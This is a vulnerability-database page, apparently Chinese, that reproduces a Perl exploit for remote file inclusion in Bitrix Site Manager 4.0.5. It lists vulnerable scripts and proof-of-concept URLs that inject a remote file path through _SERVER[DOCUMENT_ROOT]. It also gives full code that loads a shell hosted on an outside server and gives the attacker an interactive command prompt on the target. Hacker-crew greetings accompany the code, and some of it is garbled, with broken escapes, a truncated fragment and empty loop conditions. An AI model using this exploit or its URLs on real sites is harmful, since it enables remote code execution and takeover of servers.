Bitrix Site Manager 4.0.5 – Remote File Inclusion
漏洞ID | 1055167 | 漏洞类型 | |
发布时间 | 2005-06-15 | 更新时间 | 2005-06-15 |
![]() |
N/A |
![]() |
N/A |
漏洞平台 | PHP | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#####
# [+] Author : Don Tukulesto (root@indonesiancoder.com)
# [+] Date : November 13, 2009
# [+] Homepage : http://www.indonesiancoder.com
# [+] Vendor : http://www.bitrixsoft.com/
# [+] Method : Remote File Inclusion
# [+] Location : INDONESIA
# [~] Notes : I know this is an old bugs, but i just write this exploit under perl module.
# [~] Refrence : http://www.securityfocus.com/bid/13965
# [~] How To :
# perl tux.pl cmd
# perl tux.pl http://server/path/ http://www.indonesiancoder.org/shell.txt cmd
# Weapon example:
#####
# [-] Bugs in
[+] rss.php
[+] redirect.php
[+] click.php
0 and CModule::IncludeModule("advertising")) CAdvBanner::Click($id);
if (CModule::IncludeModule("statistic")) $goto = str_replace("#EVENT_GID#",CStatEvent::GetGID(),$goto);
LocalRedirect($goto);
?>
[+] admin/index.php
[+] tools/help.php
[+] tools/calendar.php
[+] tools/ticket_show_file.php
[+] tools/imagepg.php
[+] tools/help_view.php
[+] tools/help_create.php
[-] PoC
http://server/BX_ROOT/rss.php?_SERVER[DOCUMENT_ROOT]=
http://server/BX_ROOT/click.php?_SERVER[DOCUMENT_ROOT]=
http://server/BX_ROOT/redirect.php?_SERVER[DOCUMENT_ROOT]=
http://server/BX_ROOT/admin/index.php?_SERVER[DOCUMENT_ROOT]=
http://server/BX_ROOT/tools/help_create.php?_SERVER[DOCUMENT_ROOT]=
http://server/BX_ROOT/tools/help_view.php?_SERVER[DOCUMENT_ROOT]=
http://server/BX_ROOT/tools/imagepg.php?_SERVER[DOCUMENT_ROOT]=
http://server/BX_ROOT/tools/ticket_show_file.php?_SERVER[DOCUMENT_ROOT]=
http://server/BX_ROOT/tools/calendar.php?_SERVER[DOCUMENT_ROOT]=
http://server/BX_ROOT/tools/help.php?_SERVER[DOCUMENT_ROOT]=
[-] eXpL0!t c0des
#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
$RoNz = $ARGV[0];
$Pathloader = $ARGV[1];
$Contrex = $ARGV[2];
if($RoNz!~/http:/// || $Pathloader!~/http:/// || !$Contrex){usage()}
head();
sub head()
{
print "[o]============================================================================[o]rn";
print " | Bitrix Site Manager Multiple Remote File Include Vulnerability |rn";
print "[o]============================================================================[o]rn";
}
while()
{
print "[w00t] $";
while()
{
$kaMtiEz=$_;
chomp($kaMtiEz);
$arianom = LWP::UserAgent->new() or die;
$tiw0L = HTTP::Request->new(GET =>$RoNz.'admin/index.php?_SERVER[DOCUMENT_ROOT]='.$Pathloader.'?&'.$Contrex.'='.$kaMtiEz)or die "nCould Not connectn";
$abah_benu = $arianom->request($tiw0L);
$tukulesto = $abah_benu->content;
$tukulesto =~ tr/[n]/[?]/;
if (!$kaMtiEz) {print "nPlease Enter a Commandnn"; $tukulesto ="";}
elsif ($tukulesto =~/failed to open stream: HTTP request denied!/ || $tukulesto =~/: Cannot execute a blank command in /)
{print "nCann't Connect to cmd Host or Invalid Commandn";exit}
elsif ($tukulesto =~/^.Fatal.error/) {print "nInvalid Command or No Returnnn"}
if($tukulesto =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[?]/[n]/;
print "rn$finreturnnr";
last;
}
else {print "[w00t] $";}}}last;
sub usage()
{
head();
print " | Usage: perl tux.pl |rn";
print " | - Full path to execute ex: http://server/path/ |rn";
print " | - Path to Shell e.g http://www.indonesiancoder.org/shell.txt |rn";
print " | - Command variable used in php shell |rn";
print "[o]============================================================================[o]rn";
print " | IndonesianCoder Team | KILL-9 CREW | ServerIsDown | AntiSecurity.org |rn";
print " | kaMtiEz, M3NW5, arianom, tiw0L, Pathloader, abah_benu, VycOd, Gh4mb4S |rn";
print " | M364TR0N, TUCKER, Ian Petrucii, kecemplungkalen, NoGe, bh4nd55, MainHack.Net |rn";
print " | Jack-, Contrex, yadoy666, Ronz, noname, s4va, gonzhack, cyb3r_tron, saint |rn";
print " | Awan Bejat, Plaque, rey_cute, BennyCooL, SurabayaHackerLink Team and YOU! |rn";
print "[o]============================================================================[o]rn";
print " | http://www.IndonesianCoder.org | http://www.AntiSecRadio.fm |rn";
print "[o]============================================================================[o]rn";
exit();
}
相关推荐: SILC Server SSH2 Authentication Password Persistence Weakness
SILC Server SSH2 Authentication Password Persistence Weakness 漏洞ID 1100902 漏洞类型 Design Error 发布时间 2003-02-01 更新时间 2003-02-01 CVE编号…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧